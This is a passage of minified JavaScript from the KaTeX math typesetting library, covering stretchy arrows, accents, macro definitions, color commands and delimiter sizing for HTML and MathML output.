lU(s,n)},"buildHTMLTree"),jTe={widehat:"^",widecheck:"\u02C7",widetilde:"~",utilde:"~",overleftarrow:"\u2190",underleftarrow:"\u2190",xleftarrow:"\u2190",overrightarrow:"\u2192",underrightarrow:"\u2192",xrightarrow:"\u2192",underbrace:"\u23DF",overbrace:"\u23DE",overgroup:"\u23E0",undergroup:"\u23E1",overleftrightarrow:"\u2194",underleftrightarrow:"\u2194",xleftrightarrow:"\u2194",Overrightarrow:"\u21D2",xRightarrow:"\u21D2",overleftharpoon:"\u21BC",xleftharpoonup:"\u21BC",overrightharpoon:"\u21C0",xrightharpoonup:"\u21C0",xLeftarrow:"\u21D0",xLeftrightarrow:"\u21D4",xhookleftarrow:"\u21A9",xhookrightarrow:"\u21AA",xmapsto:"\u21A6",xrightharpoondown:"\u21C1",xleftharpoondown:"\u21BD",xrightleftharpoons:"\u21CC",xleftrightharpoons:"\u21CB",xtwoheadleftarrow:"\u219E",xtwoheadrightarrow:"\u21A0",xlongequal:"=",xtofrom:"\u21C4",xrightleftarrows:"\u21C4",xrightequilibrium:"\u21CC",xleftequilibrium:"\u21CB","\\cdrightarrow":"\u2192","\\cdleftarrow":"\u2190","\\cdlongequal":"="},KTe=o(function(e){var r=new mt.MathNode("mo",[new mt.TextNode(jTe[e.replace(/^\\/,"")])]);return r.setAttribute("stretchy","true"),r},"mathMLnode"),QTe={overrightarrow:[["rightarrow"],.888,522,"xMaxYMin"],overleftarrow:[["leftarrow"],.888,522,"xMinYMin"],underrightarrow:[["rightarrow"],.888,522,"xMaxYMin"],underleftarrow:[["leftarrow"],.888,522,"xMinYMin"],xrightarrow:[["rightarrow"],1.469,522,"xMaxYMin"],"\\cdrightarrow":[["rightarrow"],3,522,"xMaxYMin"],xleftarrow:[["leftarrow"],1.469,522,"xMinYMin"],"\\cdleftarrow":[["leftarrow"],3,522,"xMinYMin"],Overrightarrow:[["doublerightarrow"],.888,560,"xMaxYMin"],xRightarrow:[["doublerightarrow"],1.526,560,"xMaxYMin"],xLeftarrow:[["doubleleftarrow"],1.526,560,"xMinYMin"],overleftharpoon:[["leftharpoon"],.888,522,"xMinYMin"],xleftharpoonup:[["leftharpoon"],.888,522,"xMinYMin"],xleftharpoondown:[["leftharpoondown"],.888,522,"xMinYMin"],overrightharpoon:[["rightharpoon"],.888,522,"xMaxYMin"],xrightharpoonup:[["rightharpoon"],.888,522,"xMaxYMin"],xrightharpoondown:[["rightharpoondown"],.888,522,"xMaxYMin"],xlongequal:[["longequal"],.888,334,"xMinYMin"],"\\cdlongequal":[["longequal"],3,334,"xMinYMin"],xtwoheadleftarrow:[["twoheadleftarrow"],.888,334,"xMinYMin"],xtwoheadrightarrow:[["twoheadrightarrow"],.888,334,"xMaxYMin"],overleftrightarrow:[["leftarrow","rightarrow"],.888,522],overbrace:[["leftbrace","midbrace","rightbrace"],1.6,548],underbrace:[["leftbraceunder","midbraceunder","rightbraceunder"],1.6,548],underleftrightarrow:[["leftarrow","rightarrow"],.888,522],xleftrightarrow:[["leftarrow","rightarrow"],1.75,522],xLeftrightarrow:[["doubleleftarrow","doublerightarrow"],1.75,560],xrightleftharpoons:[["leftharpoondownplus","rightharpoonplus"],1.75,716],xleftrightharpoons:[["leftharpoonplus","rightharpoondownplus"],1.75,716],xhookleftarrow:[["leftarrow","righthook"],1.08,522],xhookrightarrow:[["lefthook","rightarrow"],1.08,522],overlinesegment:[["leftlinesegment","rightlinesegment"],.888,522],underlinesegment:[["leftlinesegment","rightlinesegment"],.888,522],overgroup:[["leftgroup","rightgroup"],.888,342],undergroup:[["leftgroupunder","rightgroupunder"],.888,342],xmapsto:[["leftmapsto","rightarrow"],1.5,522],xtofrom:[["leftToFrom","rightToFrom"],1.75,528],xrightleftarrows:[["baraboveleftarrow","rightarrowabovebar"],1.75,901],xrightequilibrium:[["baraboveshortleftharpoon","rightharpoonaboveshortbar"],1.75,716],xleftequilibrium:[["shortbaraboveleftharpoon","shortrightharpoonabovebar"],1.75,716]},ZTe=o(function(e){return e.type==="ordgroup"?e.body.length:1},"groupLength"),JTe=o(function(e,r){function n(){var l=4e5,u=e.label.slice(1);if(er.contains(["widehat","widecheck","widetilde","utilde"],u)){var h=e,f=ZTe(h.base),d,p,m;if(f>5)u==="widehat"||u==="widecheck"?(d=420,l=2364,m=.42,p=u+"4"):(d=312,l=2340,m=.34,p="tilde4");else{var g=[1,1,2,2,3,3][f];u==="widehat"||u==="widecheck"?(l=[0,1062,2364,2364,2364][g],d=[0,239,300,360,420][g],m=[0,.24,.3,.3,.36,.42][g],p=u+g):(l=[0,600,1033,2339,2340][g],d=[0,260,286,306,312][g],m=[0,.26,.286,.3,.306,.34][g],p="tilde"+g)}var y=new Zl(p),v=new dl([y],{width:"100%",height:St(m),viewBox:"0 0 "+l+" "+d,preserveAspectRatio:"none"});return{span:$e.makeSvgSpan([],[v],r),minWidth:0,height:m}}else{var x=[],b=QTe[u],[T,S,w]=b,k=w/1e3,A=T.length,C,R;if(A===1){var I=b[3];C=["hide-tail"],R=[I]}else if(A===2)C=["halfarrow-left","halfarrow-right"],R=["xMinYMin","xMaxYMin"];else if(A===3)C=["brace-left","brace-center","brace-right"],R=["xMinYMin","xMidYMin","xMaxYMin"];else throw new Error(`Correct katexImagesData or update code here to support + `+A+" children.");for(var L=0;L0&&(i.style.minWidth=St(a)),i},"svgSpan"),ewe=o(function(e,r,n,i,a){var s,l=e.height+e.depth+n+i;if(/fbox|color|angl/.test(r)){if(s=$e.makeSpan(["stretchy",r],[],a),r==="fbox"){var u=a.color&&a.getColor();u&&(s.style.borderColor=u)}}else{var h=[];/^[bx]cancel$/.test(r)&&h.push(new Qy({x1:"0",y1:"0",x2:"100%",y2:"100%","stroke-width":"0.046em"})),/^x?cancel$/.test(r)&&h.push(new Qy({x1:"0",y1:"100%",x2:"100%",y2:"0","stroke-width":"0.046em"}));var f=new dl(h,{width:"100%",height:St(l)});s=$e.makeSvgSpan([],[f],a)}return s.height=l,s.style.height=St(l),s},"encloseSpan"),pu={encloseSpan:ewe,mathMLnode:KTe,svgSpan:JTe};o(Tr,"assertNodeType");o(fA,"assertSymbolNodeType");o(D3,"checkSymbolNodeType");dA=o((t,e)=>{var r,n,i;t&&t.type==="supsub"?(n=Tr(t.base,"accent"),r=n.base,t.base=r,i=ETe(Hr(t,e)),t.base=n):(n=Tr(t,"accent"),r=n.base);var a=Hr(r,e.havingCrampedStyle()),s=n.isShifty&&er.isCharacterBox(r),l=0;if(s){var u=er.getBaseElem(r),h=Hr(u,e.havingCrampedStyle());l=xV(h).skew}var f=n.label==="\\c",d=f?a.height+a.depth:Math.min(a.height,e.fontMetrics().xHeight),p;if(n.isStretchy)p=pu.svgSpan(n,e),p=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:a},{type:"elem",elem:p,wrapperClasses:["svg-align"],wrapperStyle:l>0?{width:"calc(100% - "+St(2*l)+")",marginLeft:St(2*l)}:void 0}]},e);else{var m,g;n.label==="\\vec"?(m=$e.staticSvg("vec",e),g=$e.svgData.vec[1]):(m=$e.makeOrd({mode:n.mode,text:n.label},e,"textord"),m=xV(m),m.italic=0,g=m.width,f&&(d+=m.depth)),p=$e.makeSpan(["accent-body"],[m]);var y=n.label==="\\textcircled";y&&(p.classes.push("accent-full"),d=a.height);var v=l;y||(v-=g/2),p.style.left=St(v),n.label==="\\textcircled"&&(p.style.top=".2em"),p=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:a},{type:"kern",size:-d},{type:"elem",elem:p}]},e)}var x=$e.makeSpan(["mord","accent"],[p],e);return i?(i.children[0]=x,i.height=Math.max(x.height,i.height),i.classes[0]="mord",i):x},"htmlBuilder$a"),cU=o((t,e)=>{var r=t.isStretchy?pu.mathMLnode(t.label):new mt.MathNode("mo",[Lo(t.label,t.mode)]),n=new mt.MathNode("mover",[wn(t.base,e),r]);return n.setAttribute("accent","true"),n},"mathmlBuilder$9"),twe=new RegExp(["\\acute","\\grave","\\ddot","\\tilde","\\bar","\\breve","\\check","\\hat","\\vec","\\dot","\\mathring"].map(t=>"\\"+t).join("|"));Mt({type:"accent",names:["\\acute","\\grave","\\ddot","\\tilde","\\bar","\\breve","\\check","\\hat","\\vec","\\dot","\\mathring","\\widecheck","\\widehat","\\widetilde","\\overrightarrow","\\overleftarrow","\\Overrightarrow","\\overleftrightarrow","\\overgroup","\\overlinesegment","\\overleftharpoon","\\overrightharpoon"],props:{numArgs:1},handler:o((t,e)=>{var r=E3(e[0]),n=!twe.test(t.funcName),i=!n||t.funcName==="\\widehat"||t.funcName==="\\widetilde"||t.funcName==="\\widecheck";return{type:"accent",mode:t.parser.mode,label:t.funcName,isStretchy:n,isShifty:i,base:r}},"handler"),htmlBuilder:dA,mathmlBuilder:cU});Mt({type:"accent",names:["\\'","\\`","\\^","\\~","\\=","\\u","\\.",'\\"',"\\c","\\r","\\H","\\v","\\textcircled"],props:{numArgs:1,allowedInText:!0,allowedInMath:!0,argTypes:["primitive"]},handler:o((t,e)=>{var r=e[0],n=t.parser.mode;return n==="math"&&(t.parser.settings.reportNonstrict("mathVsTextAccents","LaTeX's accent "+t.funcName+" works only in text mode"),n="text"),{type:"accent",mode:n,label:t.funcName,isStretchy:!1,isShifty:!0,base:r}},"handler"),htmlBuilder:dA,mathmlBuilder:cU});Mt({type:"accentUnder",names:["\\underleftarrow","\\underrightarrow","\\underleftrightarrow","\\undergroup","\\underlinesegment","\\utilde"],props:{numArgs:1},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0];return{type:"accentUnder",mode:r.mode,label:n,base:i}},"handler"),htmlBuilder:o((t,e)=>{var r=Hr(t.base,e),n=pu.svgSpan(t,e),i=t.label==="\\utilde"?.12:0,a=$e.makeVList({positionType:"top",positionData:r.height,children:[{type:"elem",elem:n,wrapperClasses:["svg-align"]},{type:"kern",size:i},{type:"elem",elem:r}]},e);return $e.makeSpan(["mord","accentunder"],[a],e)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=pu.mathMLnode(t.label),n=new mt.MathNode("munder",[wn(t.base,e),r]);return n.setAttribute("accentunder","true"),n},"mathmlBuilder")});m3=o(t=>{var e=new mt.MathNode("mpadded",t?[t]:[]);return e.setAttribute("width","+0.6em"),e.setAttribute("lspace","0.3em"),e},"paddedNode");Mt({type:"xArrow",names:["\\xleftarrow","\\xrightarrow","\\xLeftarrow","\\xRightarrow","\\xleftrightarrow","\\xLeftrightarrow","\\xhookleftarrow","\\xhookrightarrow","\\xmapsto","\\xrightharpoondown","\\xrightharpoonup","\\xleftharpoondown","\\xleftharpoonup","\\xrightleftharpoons","\\xleftrightharpoons","\\xlongequal","\\xtwoheadrightarrow","\\xtwoheadleftarrow","\\xtofrom","\\xrightleftarrows","\\xrightequilibrium","\\xleftequilibrium","\\\\cdrightarrow","\\\\cdleftarrow","\\\\cdlongequal"],props:{numArgs:1,numOptionalArgs:1},handler(t,e,r){var{parser:n,funcName:i}=t;return{type:"xArrow",mode:n.mode,label:i,body:e[0],below:r[0]}},htmlBuilder(t,e){var r=e.style,n=e.havingStyle(r.sup()),i=$e.wrapFragment(Hr(t.body,n,e),e),a=t.label.slice(0,2)==="\\x"?"x":"cd";i.classes.push(a+"-arrow-pad");var s;t.below&&(n=e.havingStyle(r.sub()),s=$e.wrapFragment(Hr(t.below,n,e),e),s.classes.push(a+"-arrow-pad"));var l=pu.svgSpan(t,e),u=-e.fontMetrics().axisHeight+.5*l.height,h=-e.fontMetrics().axisHeight-.5*l.height-.111;(i.depth>.25||t.label==="\\xleftequilibrium")&&(h-=i.depth);var f;if(s){var d=-e.fontMetrics().axisHeight+s.height+.5*l.height+.111;f=$e.makeVList({positionType:"individualShift",children:[{type:"elem",elem:i,shift:h},{type:"elem",elem:l,shift:u},{type:"elem",elem:s,shift:d}]},e)}else f=$e.makeVList({positionType:"individualShift",children:[{type:"elem",elem:i,shift:h},{type:"elem",elem:l,shift:u}]},e);return f.children[0].children[0].children[1].classes.push("svg-align"),$e.makeSpan(["mrel","x-arrow"],[f],e)},mathmlBuilder(t,e){var r=pu.mathMLnode(t.label);r.setAttribute("minsize",t.label.charAt(0)==="x"?"1.75em":"3.0em");var n;if(t.body){var i=m3(wn(t.body,e));if(t.below){var a=m3(wn(t.below,e));n=new mt.MathNode("munderover",[r,a,i])}else n=new mt.MathNode("mover",[r,i])}else if(t.below){var s=m3(wn(t.below,e));n=new mt.MathNode("munder",[r,s])}else n=m3(),n=new mt.MathNode("mover",[r,n]);return n}});rwe=$e.makeSpan;o(uU,"htmlBuilder$9");o(hU,"mathmlBuilder$8");Mt({type:"mclass",names:["\\mathord","\\mathbin","\\mathrel","\\mathopen","\\mathclose","\\mathpunct","\\mathinner"],props:{numArgs:1,primitive:!0},handler(t,e){var{parser:r,funcName:n}=t,i=e[0];return{type:"mclass",mode:r.mode,mclass:"m"+n.slice(5),body:gi(i),isCharacterBox:er.isCharacterBox(i)}},htmlBuilder:uU,mathmlBuilder:hU});L3=o(t=>{var e=t.type==="ordgroup"&&t.body.length?t.body[0]:t;return e.type==="atom"&&(e.family==="bin"||e.family==="rel")?"m"+e.family:"mord"},"binrelClass");Mt({type:"mclass",names:["\\@binrel"],props:{numArgs:2},handler(t,e){var{parser:r}=t;return{type:"mclass",mode:r.mode,mclass:L3(e[0]),body:gi(e[1]),isCharacterBox:er.isCharacterBox(e[1])}}});Mt({type:"mclass",names:["\\stackrel","\\overset","\\underset"],props:{numArgs:2},handler(t,e){var{parser:r,funcName:n}=t,i=e[1],a=e[0],s;n!=="\\stackrel"?s=L3(i):s="mrel";var l={type:"op",mode:i.mode,limits:!0,alwaysHandleSupSub:!0,parentIsSupSub:!1,symbol:!1,suppressBaseShift:n!=="\\stackrel",body:gi(i)},u={type:"supsub",mode:a.mode,base:l,sup:n==="\\underset"?null:a,sub:n==="\\underset"?a:null};return{type:"mclass",mode:r.mode,mclass:s,body:[u],isCharacterBox:er.isCharacterBox(u)}},htmlBuilder:uU,mathmlBuilder:hU});Mt({type:"pmb",names:["\\pmb"],props:{numArgs:1,allowedInText:!0},handler(t,e){var{parser:r}=t;return{type:"pmb",mode:r.mode,mclass:L3(e[0]),body:gi(e[0])}},htmlBuilder(t,e){var r=Ii(t.body,e,!0),n=$e.makeSpan([t.mclass],r,e);return n.style.textShadow="0.02em 0.01em 0.04px",n},mathmlBuilder(t,e){var r=As(t.body,e),n=new mt.MathNode("mstyle",r);return n.setAttribute("style","text-shadow: 0.02em 0.01em 0.04px"),n}});nwe={">":"\\\\cdrightarrow","<":"\\\\cdleftarrow","=":"\\\\cdlongequal",A:"\\uparrow",V:"\\downarrow","|":"\\Vert",".":"no arrow"},SV=o(()=>({type:"styling",body:[],mode:"math",style:"display"}),"newCell"),CV=o(t=>t.type==="textord"&&t.text==="@","isStartOfArrow"),iwe=o((t,e)=>(t.type==="mathord"||t.type==="atom")&&t.text===e,"isLabelEnd");o(awe,"cdArrow");o(swe,"parseCD");Mt({type:"cdlabel",names:["\\\\cdleft","\\\\cdright"],props:{numArgs:1},handler(t,e){var{parser:r,funcName:n}=t;return{type:"cdlabel",mode:r.mode,side:n.slice(4),label:e[0]}},htmlBuilder(t,e){var r=e.havingStyle(e.style.sup()),n=$e.wrapFragment(Hr(t.label,r,e),e);return n.classes.push("cd-label-"+t.side),n.style.bottom=St(.8-n.depth),n.height=0,n.depth=0,n},mathmlBuilder(t,e){var r=new mt.MathNode("mrow",[wn(t.label,e)]);return r=new mt.MathNode("mpadded",[r]),r.setAttribute("width","0"),t.side==="left"&&r.setAttribute("lspace","-1width"),r.setAttribute("voffset","0.7em"),r=new mt.MathNode("mstyle",[r]),r.setAttribute("displaystyle","false"),r.setAttribute("scriptlevel","1"),r}});Mt({type:"cdlabelparent",names:["\\\\cdparent"],props:{numArgs:1},handler(t,e){var{parser:r}=t;return{type:"cdlabelparent",mode:r.mode,fragment:e[0]}},htmlBuilder(t,e){var r=$e.wrapFragment(Hr(t.fragment,e),e);return r.classes.push("cd-vert-arrow"),r},mathmlBuilder(t,e){return new mt.MathNode("mrow",[wn(t.fragment,e)])}});Mt({type:"textord",names:["\\@char"],props:{numArgs:1,allowedInText:!0},handler(t,e){for(var{parser:r}=t,n=Tr(e[0],"ordgroup"),i=n.body,a="",s=0;s=1114111)throw new gt("\\@char with invalid code point "+a);return u<=65535?h=String.fromCharCode(u):(u-=65536,h=String.fromCharCode((u>>10)+55296,(u&1023)+56320)),{type:"textord",mode:r.mode,text:h}}});fU=o((t,e)=>{var r=Ii(t.body,e.withColor(t.color),!1);return $e.makeFragment(r)},"htmlBuilder$8"),dU=o((t,e)=>{var r=As(t.body,e.withColor(t.color)),n=new mt.MathNode("mstyle",r);return n.setAttribute("mathcolor",t.color),n},"mathmlBuilder$7");Mt({type:"color",names:["\\textcolor"],props:{numArgs:2,allowedInText:!0,argTypes:["color","original"]},handler(t,e){var{parser:r}=t,n=Tr(e[0],"color-token").color,i=e[1];return{type:"color",mode:r.mode,color:n,body:gi(i)}},htmlBuilder:fU,mathmlBuilder:dU});Mt({type:"color",names:["\\color"],props:{numArgs:1,allowedInText:!0,argTypes:["color"]},handler(t,e){var{parser:r,breakOnTokenText:n}=t,i=Tr(e[0],"color-token").color;r.gullet.macros.set("\\current@color",i);var a=r.parseExpression(!0,n);return{type:"color",mode:r.mode,color:i,body:a}},htmlBuilder:fU,mathmlBuilder:dU});Mt({type:"cr",names:["\\\\"],props:{numArgs:0,numOptionalArgs:0,allowedInText:!0},handler(t,e,r){var{parser:n}=t,i=n.gullet.future().text==="["?n.parseSizeGroup(!0):null,a=!n.settings.displayMode||!n.settings.useStrictBehavior("newLineInDisplayMode","In LaTeX, \\\\ or \\newline does nothing in display mode");return{type:"cr",mode:n.mode,newLine:a,size:i&&Tr(i,"size").value}},htmlBuilder(t,e){var r=$e.makeSpan(["mspace"],[],e);return t.newLine&&(r.classes.push("newline"),t.size&&(r.style.marginTop=St(ii(t.size,e)))),r},mathmlBuilder(t,e){var r=new mt.MathNode("mspace");return t.newLine&&(r.setAttribute("linebreak","newline"),t.size&&r.setAttribute("height",St(ii(t.size,e)))),r}});rA={"\\global":"\\global","\\long":"\\\\globallong","\\\\globallong":"\\\\globallong","\\def":"\\gdef","\\gdef":"\\gdef","\\edef":"\\xdef","\\xdef":"\\xdef","\\let":"\\\\globallet","\\futurelet":"\\\\globalfuture"},pU=o(t=>{var e=t.text;if(/^(?:[\\{}$&#^_]|EOF)$/.test(e))throw new gt("Expected a control sequence",t);return e},"checkControlSequence"),owe=o(t=>{var e=t.gullet.popToken();return e.text==="="&&(e=t.gullet.popToken(),e.text===" "&&(e=t.gullet.popToken())),e},"getRHS"),mU=o((t,e,r,n)=>{var i=t.gullet.macros.get(r.text);i==null&&(r.noexpand=!0,i={tokens:[r],numArgs:0,unexpandable:!t.gullet.isExpandable(r.text)}),t.gullet.macros.set(e,i,n)},"letCommand");Mt({type:"internal",names:["\\global","\\long","\\\\globallong"],props:{numArgs:0,allowedInText:!0},handler(t){var{parser:e,funcName:r}=t;e.consumeSpaces();var n=e.fetch();if(rA[n.text])return(r==="\\global"||r==="\\\\globallong")&&(n.text=rA[n.text]),Tr(e.parseFunction(),"internal");throw new gt("Invalid token after macro prefix",n)}});Mt({type:"internal",names:["\\def","\\gdef","\\edef","\\xdef"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler(t){var{parser:e,funcName:r}=t,n=e.gullet.popToken(),i=n.text;if(/^(?:[\\{}$&#^_]|EOF)$/.test(i))throw new gt("Expected a control sequence",n);for(var a=0,s,l=[[]];e.gullet.future().text!=="{";)if(n=e.gullet.popToken(),n.text==="#"){if(e.gullet.future().text==="{"){s=e.gullet.future(),l[a].push("{");break}if(n=e.gullet.popToken(),!/^[1-9]$/.test(n.text))throw new gt('Invalid argument number "'+n.text+'"');if(parseInt(n.text)!==a+1)throw new gt('Argument number "'+n.text+'" out of order');a++,l.push([])}else{if(n.text==="EOF")throw new gt("Expected a macro definition");l[a].push(n.text)}var{tokens:u}=e.gullet.consumeArg();return s&&u.unshift(s),(r==="\\edef"||r==="\\xdef")&&(u=e.gullet.expandTokens(u),u.reverse()),e.gullet.macros.set(i,{tokens:u,numArgs:a,delimiters:l},r===rA[r]),{type:"internal",mode:e.mode}}});Mt({type:"internal",names:["\\let","\\\\globallet"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler(t){var{parser:e,funcName:r}=t,n=pU(e.gullet.popToken());e.gullet.consumeSpaces();var i=owe(e);return mU(e,n,i,r==="\\\\globallet"),{type:"internal",mode:e.mode}}});Mt({type:"internal",names:["\\futurelet","\\\\globalfuture"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler(t){var{parser:e,funcName:r}=t,n=pU(e.gullet.popToken()),i=e.gullet.popToken(),a=e.gullet.popToken();return mU(e,n,a,r==="\\\\globalfuture"),e.gullet.pushToken(a),e.gullet.pushToken(i),{type:"internal",mode:e.mode}}});qy=o(function(e,r,n){var i=Nn.math[e]&&Nn.math[e].replace,a=lA(i||e,r,n);if(!a)throw new Error("Unsupported symbol "+e+" and font size "+r+".");return a},"getMetrics"),pA=o(function(e,r,n,i){var a=n.havingBaseStyle(r),s=$e.makeSpan(i.concat(a.sizingClasses(n)),[e],n),l=a.sizeMultiplier/n.sizeMultiplier;return s.height*=l,s.depth*=l,s.maxFontSize=a.sizeMultiplier,s},"styleWrap"),gU=o(function(e,r,n){var i=r.havingBaseStyle(n),a=(1-r.sizeMultiplier/i.sizeMultiplier)*r.fontMetrics().axisHeight;e.classes.push("delimcenter"),e.style.top=St(a),e.height-=a,e.depth+=a},"centerSpan"),lwe=o(function(e,r,n,i,a,s){var l=$e.makeSymbol(e,"Main-Regular",a,i),u=pA(l,r,i,s);return n&&gU(u,i,r),u},"makeSmallDelim"),cwe=o(function(e,r,n,i){return $e.makeSymbol(e,"Size"+r+"-Regular",n,i)},"mathrmSize"),yU=o(function(e,r,n,i,a,s){var l=cwe(e,r,a,i),u=pA($e.makeSpan(["delimsizing","size"+r],[l],i),nr.TEXT,i,s);return n&&gU(u,i,nr.TEXT),u},"makeLargeDelim"),z7=o(function(e,r,n){var i;r==="Size1-Regular"?i="delim-size1":i="delim-size4";var a=$e.makeSpan(["delimsizinginner",i],[$e.makeSpan([],[$e.makeSymbol(e,r,n)])]);return{type:"elem",elem:a}},"makeGlyphSpan"),G7=o(function(e,r,n){var i=Ql["Size4-Regular"][e.charCodeAt(0)]?Ql["Size4-Regular"][e.charCodeAt(0)][4]:Ql["Size1-Regular"][e.charCodeAt(0)][4],a=new Zl("inner",yTe(e,Math.round(1e3*r))),s=new dl([a],{width:St(i),height:St(r),style:"width:"+St(i),viewBox:"0 0 "+1e3*i+" "+Math.round(1e3*r),preserveAspectRatio:"xMinYMin"}),l=$e.makeSvgSpan([],[s],n);return l.height=r,l.style.height=St(r),l.style.width=St(i),{type:"elem",elem:l}},"makeInner"),nA=.008,g3={type:"kern",size:-1*nA},uwe=["|","\\lvert","\\rvert","\\vert"],hwe=["\\|","\\lVert","\\rVert","\\Vert"],vU=o(function(e,r,n,i,a,s){var l,u,h,f,d="",p=0;l=h=f=e,u=null;var m="Size1-Regular";e==="\\uparrow"?h=f="\u23D0":e==="\\Uparrow"?h=f="\u2016":e==="\\downarrow"?l=h="\u23D0":e==="\\Downarrow"?l=h="\u2016":e==="\\updownarrow"?(l="\\uparrow",h="\u23D0",f="\\downarrow"):e==="\\Updownarrow"?(l="\\Uparrow",h="\u2016",f="\\Downarrow"):er.contains(uwe,e)?(h="\u2223",d="vert",p=333):er.contains(hwe,e)?(h="\u2225",d="doublevert",p=556):e==="["||e==="\\lbrack"?(l="\u23A1",h="\u23A2",f="\u23A3",m="Size4-Regular",d="lbrack",p=667):e==="]"||e==="\\rbrack"?(l="\u23A4",h="\u23A5",f="\u23A6",m="Size4-Regular",d="rbrack",p=667):e==="\\lfloor"||e==="\u230A"?(h=l="\u23A2",f="\u23A3",m="Size4-Regular",d="lfloor",p=667):e==="\\lceil"||e==="\u2308"?(l="\u23A1",h=f="\u23A2",m="Size4-Regular",d="lceil",p=667):e==="\\rfloor"||e==="\u230B"?(h=l="\u23A5",f="\u23A6",m="Size4-Regular",d="rfloor",p=667):e==="\\rceil"||e==="\u2309"?(l="\u23A4",h=f="\u23A5",m="Size4-Regular",d="rceil",p=667):e==="("||e==="\\lparen"?(l="\u239B",h="\u239C",f="\u239D",m="Size4-Regular",d="lparen",p=875):e===")"||e==="\\rparen"?(l="\u239E",h="\u239F",f="\u23A0",m="Size4-Regular",d="rparen",p=875):e==="\\{"||e==="\\lbrace"?(l="\u23A7",u="\u23A8",f="\u23A9",h="\u23AA",m="Size4-Regular"):e==="\\}"||e==="\\rbrace"?(l="\u23AB",u="\u23AC",f="\u23AD",h="\u23AA",m="Size4-Regular"):e==="\\lgroup"||e==="\u27EE"?(l="\u23A7",f="\u23A9",h="\u23AA",m="Size4-Regular"):e==="\\rgroup"||e==="\u27EF"?(l="\u23AB",f="\u23AD",h="\u23AA",m="Size4-Regular"):e==="\\lmoustache"||e==="\u23B0"?(l="\u23A7",f="\u23AD",h="\u23AA",m="Size4-Regular"):(e==="\\rmoustache"||e==="\u23B1")&&(l="\u23AB",f="\u23A9",h="\u23AA",m="Size4-Regular");var g=qy(l,m,a),y=g.height+g.depth,v=qy(h,m,a),x=v.height+v.depth,b=qy(f,m,a),T=b.height+b.depth,S=0,w=1;if(u!==null){var k=qy(u,m,a);S=k.height+k.depth,w=2}var A=y+T+S,C=Math.max(0,Math.ceil((r-A)/(w*x))),R=A+C*w*x,I=i.fontMetrics().axisHeight;n&&(I*=i.sizeMultiplier);var L=R/2-I,E=[];if(d.length>0){var D=R-y-T,_=Math.round(R*1e3),O=vTe(d,Math.round(D*1e3)),M=new Zl(d,O),P=(p/1e3).toFixed(3)+"em",B=(_/1e3).toFixed(3)+"em",F=new dl([M],{width:P,height:B,viewBox:"0 0 "+p+" "+_}),G=$e.makeSvgSpan([],[F],i);G.height=_/1e3,G.style.width=P,G.style.height=B,E.push({type:"elem",elem:G})}else{if(E.push(z7(f,m,a)),E.push(g3),u===null){var $=R-y-T+2*nA;E.push(G7(h,$,i))}else{var U=(R-y-T-S)/2+2*nA;E.push(G7(h,U,i)),E.push(g3),E.push(z7(u,m,a)),E.push(g3),E.push(G7(h,U,i))}E.push(g3),E.push(z7(l,m,a))}var j=i.havingBaseStyle(nr.TEXT),te=$e.makeVList({positionType:"bottom",positionData:L,children:E},j);return pA($e.makeSpan(["delimsizing","mult"],[te],j),nr.TEXT,i,s)},"makeStackedDelim"),V7=80,U7=.08,H7=o(function(e,r,n,i,a){var s=gTe(e,i,n),l=new Zl(e,s),u=new dl([l],{width:"400em",height:St(r),viewBox:"0 0 400000 "+n,preserveAspectRatio:"xMinYMin slice"});return $e.makeSvgSpan(["hide-tail"],[u],a)},"sqrtSvg"),fwe=o(function(e,r){var n=r.havingBaseSizing(),i=wU("\\surd",e*n.sizeMultiplier,TU,n),a=n.sizeMultiplier,s=Math.max(0,r.minRuleThickness-r.fontMetrics().sqrtRuleThickness),l,u=0,h=0,f=0,d;return i.type==="small"?(f=1e3+1e3*s+V7,e<1?a=1:e<1.4&&(a=.7),u=(1+s+U7)/a,h=(1+s)/a,l=H7("sqrtMain",u,f,s,r),l.style.minWidth="0.853em",d=.833/a):i.type==="large"?(f=(1e3+V7)*Yy[i.size],h=(Yy[i.size]+s)/a,u=(Yy[i.size]+s+U7)/a,l=H7("sqrtSize"+i.size,u,f,s,r),l.style.minWidth="1.02em",d=1/a):(u=e+s+U7,h=e+s,f=Math.floor(1e3*e+s)+V7,l=H7("sqrtTall",u,f,s,r),l.style.minWidth="0.742em",d=1.056),l.height=h,l.style.height=St(u),{span:l,advanceWidth:d,ruleWidth:(r.fontMetrics().sqrtRuleThickness+s)*a}},"makeSqrtImage"),xU=["(","\\lparen",")","\\rparen","[","\\lbrack","]","\\rbrack","\\{","\\lbrace","\\}","\\rbrace","\\lfloor","\\rfloor","\u230A","\u230B","\\lceil","\\rceil","\u2308","\u2309","\\surd"],dwe=["\\uparrow","\\downarrow","\\updownarrow","\\Uparrow","\\Downarrow","\\Updownarrow","|","\\|","\\vert","\\Vert","\\lvert","\\rvert","\\lVert","\\rVert","\\lgroup","\\rgroup","\u27EE","\u27EF","\\lmoustache","\\rmoustache","\u23B0","\u23B1"],bU=["<",">","\\langle","\\rangle","/","\\backslash","\\lt","\\gt"],Yy=[0,1.2,1.8,2.4,3],pwe=o(function(e,r,n,i,a){if(e==="<"||e==="\\lt"||e==="\u27E8"?e="\\langle":(e===">"||e==="\\gt"||e==="\u27E9")&&(e="\\rangle"),er.contains(xU,e)||er.contains(bU,e))return yU(e,r,!1,n,i,a);if(er.contains(dwe,e))return vU(e,Yy[r],!1,n,i,a);throw new gt("Illegal delimiter: '"+e+"'")},"makeSizedDelim"),mwe=[{type:"small",style:nr.SCRIPTSCRIPT},{type:"small",style:nr.SCRIPT},{type:"small",style:nr.TEXT},{type:"large",size:1},{type:"large",size:2},{type:"large",size:3},{type:"large",size:4}],gwe=[{type:"small",style:nr.SCRIPTSCRIPT},{type:"small",style:nr.SCRIPT},{type:"small",style:nr.TEXT},{type:"stack"}],TU=[{type:"small",style:nr.SCRIPTSCRIPT},{type:"small",style:nr.SCRIPT},{type:"small",style:nr.TEXT},{type:"large",size:1},{type:"large",size:2},{type:"large",size:3},{type:"large",size:4},{type:"stack"}],ywe=o(function(e){if(e.type==="small")return"Main-Regular";if(e.type==="large")return"Size"+e.size+"-Regular";if(e.type==="stack")return"Size4-Regular";throw new Error("Add support for delim type '"+e.type+"' 